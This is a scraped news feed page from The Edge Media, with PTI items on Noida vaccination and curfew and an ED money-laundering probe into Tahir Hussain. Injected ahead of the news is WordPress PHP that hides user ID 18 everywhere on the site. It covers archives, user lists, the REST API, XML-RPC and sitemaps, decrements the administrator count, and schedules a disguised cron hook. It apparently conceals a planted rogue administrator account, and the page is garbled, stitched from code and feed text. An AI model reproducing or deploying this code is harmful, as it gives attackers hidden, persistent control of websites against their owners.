add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Noida to become first district to be fully vaccinated: Authorities appeared first on The Edge Media.
]]>“DM Suhas L Y called on all officials to get totally committed toward ensuring the objective of getting Gautam Buddh Nagar fully vaccinated against Covid-19,” District Information Officer Rakesh Chauhan stated.
No definite timeline for the objective was shared in the Press statement and PTI’s phone call to the district magistrate remained unanswered.
Noida has reported 439 deaths and has 1,930 active cases of Covid-19 so far, according to official figures updated till Friday.
The post Noida to become first district to be fully vaccinated: Authorities appeared first on The Edge Media.
]]>The post Night curfew in Noida and Greater Noida appeared first on The Edge Media.
]]>The post Night curfew in Noida and Greater Noida appeared first on The Edge Media.
]]>The post Ex-AAP Councillor Tahir Hussain Was Paid To ‘Fuel’ Anti-CAA Protests & Riots In Delhi appeared first on The Edge Media.
]]>The agency on Monday brought him to its office in New Delhi from Tihar jail for interrogation. Hussain, the agency said, has been “arrested in connection with ongoing PMLA investigation into his role in money laundering and funding of anti-CAA protests and organising riots in north-east Delhi during February, 2020.”
The ED had booked Hussain and others under the Prevention of Money Laundering Act (PMLA) after studying multiple FIRs of the Delhi Police’s crime branch to probe the riots.
“Probe revealed that companies owned and controlled by Tahir Hussain and his relatives transferred huge amounts of money to dubious entities and entry operators (people involved in hawala transactions) which was returned by them in cash,” the agency said in a statement.
“The cash received by Tahir Hussain through entry operators was used to fuel the anti-CAA protests and Delhi riots,” it said. The ED investigation also found “involvement of Tahir Hussain and his companies in illegal laundering of money in the past too. It had raided premises linked to Hussain, his relatives and associates in Delhi, Noida and Greater Noida on June 23.
– PTI
The post Ex-AAP Councillor Tahir Hussain Was Paid To ‘Fuel’ Anti-CAA Protests & Riots In Delhi appeared first on The Edge Media.
]]>